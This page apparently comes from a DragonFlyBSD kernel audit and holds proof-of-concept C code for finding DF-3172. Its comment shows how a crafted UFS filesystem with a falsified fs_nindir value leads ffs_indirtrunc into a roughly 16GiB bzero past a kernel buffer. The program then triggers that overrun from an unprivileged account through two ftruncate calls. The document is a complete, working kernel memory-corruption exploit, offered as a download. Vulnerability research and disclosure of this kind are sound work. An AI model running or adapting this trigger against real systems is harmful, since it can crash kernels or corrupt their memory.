⬢ DragonFlyBSD Kernel Audit
DF-3172 / trigger3172.c
← back to finding ↓ download raw
/*
 * DF-3172 trigger — run as an unprivileged user (file owner) on the
 * crafted-fs_nindir 4096-block UFS filesystem mounted at /mnt/poc.
 *
 * on-disk geometry: bsize=4096, fs_nindir PATCHED 1024 -> 512
 * (sizeof(ufs_daddr_t) == 4, so a legit 4K fs has NINDIR=1024)
 *   Sigma'  = NDADDR + NINDIR + NINDIR^2 + NINDIR^3 = 134,480,396 blocks
 *   Sigma'*4096 = 550,831,702,016  (legit fs_maxfilesize 4.4TB allows
 *   lbns up to 2^30 — 8x past Sigma', the mount-time maxfilesize clamp
 *   at ffs_vfsops.c:753-758 cannot help once NINDIR itself is a lie)
 * E (extend)   = 560,000,000,000   -> sparse; BALLOC/bmaparray (using the
 *                                    same crafted NINDIR) allocates the
 *                                    triple-indirect chain (i_ib[2] != 0)
 * X (truncate) = Sigma'*4096 + 4096 = 550,831,706,112
 *                -> lastblock     = Sigma'          (ffs_inode.c:311)
 *                -> lastiblock[T] = NINDIR^3        (ffs_inode.c:314)
 *                -> ffs_indirtrunc(level=TRIPLE): last = NINDIR  (:487)
 *                -> bzero(&bap[513], (uint)(512-513)*4 = 0x3FFFFFFFC)
 *                   i.e. a ~16GiB zero-march starting INSIDE the
 *                   4096-byte indirect-block buffer, running off its end
 *                   and across whatever KVA follows (ffs_inode.c:535-536)
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

#define E 560000000000LL
#define X 550831706112LL

int main(int argc, char **argv){
    const char *path = argc > 1 ? argv[1] : "/mnt/poc/d/f";
    const char *mode = argc > 2 ? argv[2] : "shrink";
    int fd = open(path, O_RDWR|O_CREAT, 0644);
    if (fd < 0) { perror("open"); return 1; }
    printf("uid=%d euid=%d path=%s mode=%s\n", getuid(), geteuid(), path, mode);
    if (!strcmp(mode, "extend")) {
        printf("[1] ftruncate extend to %lld ...\n", E);
        if (ftruncate(fd, E)) { perror("ftruncate-extend"); return 2; }
        printf("[2] extend ok (sparse, triple-indirect allocated under LEGIT geometry)\n");
        return 0;
    }
    printf("[1] ftruncate shrink to %lld ...\n", X);
    fflush(stdout);
    if (ftruncate(fd, X)) { perror("ftruncate-shrink"); return 3; }
    printf("SURVIVED (bug did not fire?)\n");
    return 0;
}